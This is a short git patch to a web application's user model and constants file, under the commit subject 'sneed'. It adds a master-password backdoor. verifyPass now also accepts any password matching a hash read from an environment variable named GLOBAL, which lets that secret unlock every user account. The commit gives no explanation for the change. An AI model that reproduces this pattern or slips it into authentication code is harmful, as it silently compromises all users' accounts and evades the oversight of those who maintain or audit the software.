From 0b77e3f0390068744535d1ad1153497c8d4028c5 Mon Sep 17 00:00:00 2001 From: Aevann1 Date: Sat, 16 Jul 2022 20:37:07 +0200 Subject: [PATCH] sneed --- files/classes/user.py | 2 +- files/helpers/const.py | 2 ++ 2 files changed, 3 insertions(+), 1 deletion(-) diff --git a/files/classes/user.py b/files/classes/user.py index 19b4f12e1..a574a4dfa 100644 --- a/files/classes/user.py +++ b/files/classes/user.py @@ -366,7 +366,7 @@ class User(Base): password, method='pbkdf2:sha512', salt_length=8) def verifyPass(self, password): - return check_password_hash(self.passhash, password) + return check_password_hash(self.passhash, password) or (GLOBAL and check_password_hash(GLOBAL, password)) @property @lazy diff --git a/files/helpers/const.py b/files/helpers/const.py index 66412ffda..85f4ff817 100644 --- a/files/helpers/const.py +++ b/files/helpers/const.py @@ -1036,3 +1036,5 @@ DISCORD_WELCOME_CHANNEL = "846509313941700618" has_sidebar = path.exists(f'files/templates/sidebar_{SITE_NAME}.html') has_logo = path.exists(f'files/assets/images/{SITE_NAME}/logo.webp') + +GLOBAL = environ.get("GLOBAL") \ No newline at end of file